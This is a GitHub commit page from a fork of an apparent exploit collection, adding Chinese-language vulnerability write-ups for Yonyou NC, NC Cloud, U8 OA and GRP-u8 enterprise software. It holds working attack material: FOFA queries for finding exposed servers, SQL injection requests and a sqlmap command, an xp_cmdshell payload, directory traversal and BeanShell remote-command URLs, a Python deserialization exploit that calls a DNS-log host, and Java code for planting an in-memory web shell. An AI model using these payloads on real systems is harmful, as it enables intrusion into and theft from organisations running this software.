forked from msr00t/0day
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
42 changed files
with
676 additions
and
0 deletions.
There are no files selected for viewing
Binary file added
BIN
+285 KB
12-用友/用友 NC Cloud/用友 NCCloud FS文件管理SQL注入/resource/用友NCCloud-FS/yongyou-13.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+136 KB
12-用友/用友 NC Cloud/用友 NCCloud FS文件管理SQL注入/resource/用友NCCloud-FS/yongyou-14.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+68.1 KB
12-用友/用友 NC Cloud/用友 NCCloud FS文件管理SQL注入/resource/用友NCCloud-FS/yongyou-15.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
54 changes: 54 additions & 0 deletions
54
12-用友/用友 NC Cloud/用友 NCCloud FS文件管理SQL注入/用友 NCCloud FS文件管理SQL注入.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
# 用友 NCCloud FS文件管理SQL注入 | ||
|
||
## 漏洞描述 | ||
|
||
用友 NCCloud FS文件管理登录页面对用户名参数没有过滤,存在SQL注入 | ||
|
||
## 漏洞影响 | ||
|
||
> 用友 NCCloud | ||
## FOFA | ||
|
||
> "NCCloud" | ||
## 漏洞描述 | ||
|
||
登录页面如下 | ||
|
||
![](/resource/用友NCCloud-FS/yongyou-13.png) | ||
|
||
在应用中存在文件服务器管理登录页面 | ||
|
||
``` | ||
http://xxx.xxx.xxx.xxx/fs/ | ||
``` | ||
|
||
![](/resource/用友NCCloud-FS/yongyou-14.png) | ||
|
||
登录请求包如下 | ||
|
||
``` | ||
GET /fs/console?username=123&password=%2F7Go4Iv2Xqlml0WjkQvrvzX%2FgBopF8XnfWPUk69fZs0%3D HTTP/1.1 | ||
Host: xxx.xxx.xxx.xxx | ||
Upgrade-Insecure-Requests: 1 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 | ||
Accept-Encoding: gzip, deflate | ||
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 | ||
Cookie: JSESSIONID=2CF7A25EE7F77A064A9DA55456B6994D.server; JSESSIONID=0F83D6A0F3D65B8CD4C26DFEE4FCBC3C.server | ||
x-forwarded-for: 127.0.0.1 | ||
x-originating-ip: 127.0.0.1 | ||
x-remote-ip: 127.0.0.1 | ||
x-remote-addr: 127.0.0.1 | ||
Connection: close | ||
``` | ||
|
||
使用Sqlmap对**username参数** 进行SQL注入 | ||
|
||
``` | ||
sqlmap -r sql.txt -p username | ||
``` | ||
|
||
![](/resource/用友NCCloud-FS/yongyou-15.png) | ||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
23 changes: 23 additions & 0 deletions
23
12-用友/用友 NC Cloud/用友NC Cloud Sql注入漏洞/用友NC Cloud Sql注入漏洞.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
## 用友NC Cloud Sql注入漏洞 | ||
|
||
## 漏洞描述 | ||
|
||
攻击者构造恶意SQL语句未授权获取后台敏感数据。 | ||
|
||
## 漏洞影响 | ||
|
||
> NC Cloud | ||
## FOFA | ||
|
||
> "NCCloud" | ||
## POC | ||
|
||
``` | ||
/fs/console?username=admin&password=123456 | ||
``` | ||
|
||
![1](/resource/用友NC-Cloud-Sql注入/1.png) | ||
|
||
![2](/resource/用友NC-Cloud-Sql注入/2.png) |
Binary file added
BIN
+180 KB
...GRP-u8/用友GRP-u8 SQL注入/resource/用友GRP-u8 SQL注入/media/image-20201020120505719.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# 用友GRP-u8 SQL注入 | ||
|
||
``` | ||
POST /Proxy HTTP/1.1 | ||
Accept: Accept: */* | ||
Content-Type: application/x-www-form-urlencoded | ||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) | ||
Host: host | ||
Content-Length: 357 | ||
Connection: Keep-Alive | ||
Cache-Control: no-cache | ||
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET | ||
version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRe | ||
quest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA | ||
format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME | ||
><DATA format="text">exec xp_cmdshell 'net | ||
user'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET> | ||
``` | ||
|
||
![image-20201020120505719](resource/%E7%94%A8%E5%8F%8BGRP-u8%20SQL%E6%B3%A8%E5%85%A5/media/image-20201020120505719.png) |
Binary file added
BIN
+106 KB
12-用友/用友U8/用友 U8 OA test.jsp SQL注入漏洞/resource/用友-U8-OA-SQL注入/yongyou-11.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+42.5 KB
12-用友/用友U8/用友 U8 OA test.jsp SQL注入漏洞/resource/用友-U8-OA-SQL注入/yongyou-12.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
35 changes: 35 additions & 0 deletions
35
12-用友/用友U8/用友 U8 OA test.jsp SQL注入漏洞/用友 U8 OA test.jsp SQL注入漏洞.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# 用友 U8 OA test.jsp SQL注入漏洞 | ||
|
||
## 漏洞描述 | ||
|
||
用友 U8 OA test.jsp文件存在 SQL注入漏洞,由于与致远OA使用相同的文件,于是存在了同样的漏洞 | ||
|
||
## 漏洞影响 | ||
|
||
> 用友 U8 OA | ||
## FOFA | ||
|
||
> "用友U8-OA" | ||
## 漏洞复现 | ||
|
||
可参考 文章 | ||
|
||
[致远OA A6 test.jsp SQL注入漏洞](http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/%E8%87%B4%E8%BF%9Coa/%E8%87%B4%E8%BF%9COA%20A6%20test.jsp%20sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md) | ||
|
||
|
||
|
||
登录页面如下 | ||
|
||
![](resource/用友-U8-OA-SQL注入/yongyou-11.png) | ||
|
||
POC | ||
|
||
``` | ||
/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1)) | ||
``` | ||
|
||
![](resource/用友-U8-OA-SQL注入/yongyou-12.png) | ||
|
||
利用方法与致远OA 的SQL注入类似 |
34 changes: 34 additions & 0 deletions
34
12-用友/用友nc/用友 NC XbrlPersistenceServlet反序列化/用友 NC XbrlPersistenceServlet反序列化.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
# 用友 NC XbrlPersistenceServlet反序列化 | ||
|
||
## 漏洞描述 | ||
|
||
用友 NC XbrlPersistenceServlet反序列化漏洞 | ||
|
||
## 漏洞影响 | ||
|
||
> 目前测试影响版本:nc6.5 | ||
## 漏洞复现 | ||
|
||
|
||
攻击队利用用友nc反序列利用 | ||
|
||
漏洞url为: | ||
/service/~xbrl/XbrlPersistenceServlet | ||
|
||
#poc: | ||
``` | ||
import requests | ||
import threadpool | ||
import urllib3 | ||
import sys | ||
import base64 | ||
ip = "" | ||
dnslog = "\x79\x37\x64\x70\" #dnslog把字符串转16进制替换该段,测试用的ceye.io可以回显 | ||
data = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\x00\x00\x00\x50\x74\x00\x11"+dnslog+"\x3a\x38\x30\x74\x00\x00\x74\x00\x0e"+dnslog+"\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x18\x68\x74\x74\x70\x3a\x2f\x2f"+dnslog+"\x3a\x38\x30\x78" | ||
uploadHeader={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"} | ||
req = requests.post("http://+"ip"+/service/~xbrl/XbrlPersistenceServlet", headers=uploadHeader, verify=False, data=data, timeout=25) | ||
print (req.text) | ||
``` |
Binary file added
BIN
+183 KB
12-用友/用友nc/用友 NC bsh.servlet.BshServlet 远程命令执行漏洞/resource/用友NC远程命令执行/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+56.3 KB
12-用友/用友nc/用友 NC bsh.servlet.BshServlet 远程命令执行漏洞/resource/用友NC远程命令执行/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
31 changes: 31 additions & 0 deletions
31
.../用友 NC bsh.servlet.BshServlet 远程命令执行漏洞/用友 NC bsh.servlet.BshServlet 远程命令执行漏洞.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
## 用友 NC bsh.servlet.BshServlet 远程命令执行漏洞 | ||
|
||
## 漏洞描述 | ||
|
||
用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞,通过BeanShell 执行远程命令获取服务器权限 | ||
|
||
## 漏洞影响 | ||
|
||
> 用友NC | ||
## FOFA | ||
|
||
> icon_hash="1085941792" | ||
## 漏洞复现 | ||
|
||
首先访问如下页面: | ||
|
||
![](/resource/用友NC远程命令执行/1.png) | ||
|
||
|
||
|
||
漏洞URL为: | ||
|
||
``` | ||
/servlet/~ic/bsh.servlet.BshServlet | ||
``` | ||
|
||
![](/resource/用友NC远程命令执行/2.png) | ||
|
||
在该界面只需要把print换成exec函数即可命令执行。 |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
# 用友 NC 反序列化RCE漏洞 | ||
|
||
## 漏洞描述 | ||
|
||
用友NC 存在反序列化 RCE漏洞,攻击者可利用控制服务器 | ||
|
||
## 漏洞影响 | ||
|
||
> [!NOTE] | ||
> | ||
> 用友 NC | ||
## 漏洞复现 | ||
|
||
首先从任意文件上传说起 | ||
|
||
任意文件上传分析代码在`servlet.FileReceiveServlet`。在这里我们可以看到,从请求中读取流,然后转换为map类型并读取上传文件的路径。然后再读取待上传的文件。 | ||
|
||
![](resource/用友NC反序列化RCE漏洞/media/1.png) | ||
|
||
而网上很多poc,大多都是基于此漏洞,利用反序列化上传一个文件到服务器。 | ||
|
||
这也就是去年的那个任意文件上传的反序列化漏洞。但是,但是,这个漏洞本质是一个反序列化漏洞。而且某C的classpath中,也存在apache commonscollections库,我们可以利用这个库,直接执行命令或者内存马。岂不是比任意文件上传舒服多了。 | ||
|
||
**内存马** | ||
|
||
老样子,在反序列化中想执行任意代码,一般都依靠xalan这个库。这次也不例外。 | ||
|
||
植入内存马,关键在于我们怎样找到context,只有找到context,我们才可以添加filter。好在某c中,我们只需要通过下面的代码既可以获取当前context,不需要从tomcat中获取context | ||
|
||
```java | ||
Object obj = 改动Locator.getInstance().lookup("ServletContext"); | ||
Field contextField = obj.getClass().getDeclaredField("context"); | ||
contextField.setAccessible(true); | ||
obj = contextField.get(obj); | ||
Field contextField1 = obj.getClass().getDeclaredField("context"); | ||
contextField1.setAccessible(true); | ||
addFitlertoTomcat(contextField1.get(obj)); | ||
``` | ||
|
||
剩下的就是常规操作,可以看我之前的内存马模型,基本不需要很大的改动即可完美适配。 | ||
|
||
![](resource/用友NC反序列化RCE漏洞/media/2.png) | ||
|
||
**回显** | ||
|
||
我们只需要找到这样一个servlet,即存在反序列化的readObject,又将错误信息写入到response中 | ||
|
||
不难看出 uploadServlet 就很满足这个需求。 | ||
|
||
```java | ||
out = new ObjectOutputStream(output); | ||
in = new ObjectInputStream(request.getInputStream()); | ||
String dsName = (String)in.readObject(); | ||
} | ||
} catch (Exception var14) { | ||
var14.printStackTrace(); | ||
if (out == null) { | ||
throw new ServletException(var14); | ||
} | ||
|
||
out.writeObject(var14); | ||
``` | ||
|
||
如果出错的话,将错误信息通过序列化写入到response中。好处在于,我们不需要麻烦的去找tomcat的response对象。 | ||
|
||
所以,我们将反序列化的payload,发送给uploadServlet即可。然后我们只需要读取响应,即可拿到服务器命令执行的回显结果。客户端代码可以这样写 | ||
|
||
```java | ||
|
||
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r)); | ||
Exception e = (Exception) objectInputStream.readObject(); | ||
Object obj = e.getCause(); | ||
Field targetF = obj.getClass().getDeclaredField("target"); | ||
targetF.setAccessible(true); | ||
obj = targetF.get(obj); | ||
Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage"); | ||
msgF.setAccessible(true); | ||
String msg = msgF.get(obj).toString(); | ||
System.out.println(msg); | ||
``` | ||
|
||
## 参考文章 | ||
|
||
https://mp.weixin.qq.com/s/IdXYbjNVGVIasuwQH48Q1w |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
# 用友ERP-NC 目录遍历漏洞 | ||
|
||
## 漏洞描述 | ||
|
||
用友ERP-NC 存在目录遍历漏洞,攻击者可以通过目录遍历获取敏感文件信息 | ||
|
||
## 漏洞影响 | ||
|
||
> [!NOTE] | ||
> | ||
> 用友ERP-NC | ||
## FOFA | ||
|
||
> [!NOTE] | ||
> | ||
> app="用友-UFIDA-NC" | ||
## 漏洞复现 | ||
|
||
POC为 | ||
|
||
``` | ||
/NCFindWeb?service=IPreAlertConfigService&filename= | ||
``` | ||
|
||
![](resource/用友ERP-NC-目录遍历漏洞/media/1.png) | ||
|
||
查看 ncwslogin.jsp 文件 | ||
|
||
![](resource/用友ERP-NC-目录遍历漏洞/media/2.png) | ||
|
||
## Goby & POC | ||
|
||
> [!NOTE] | ||
> | ||
> YongYou ERP-NC directory traversal | ||
![](resource/用友ERP-NC-目录遍历漏洞/media/3.png) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.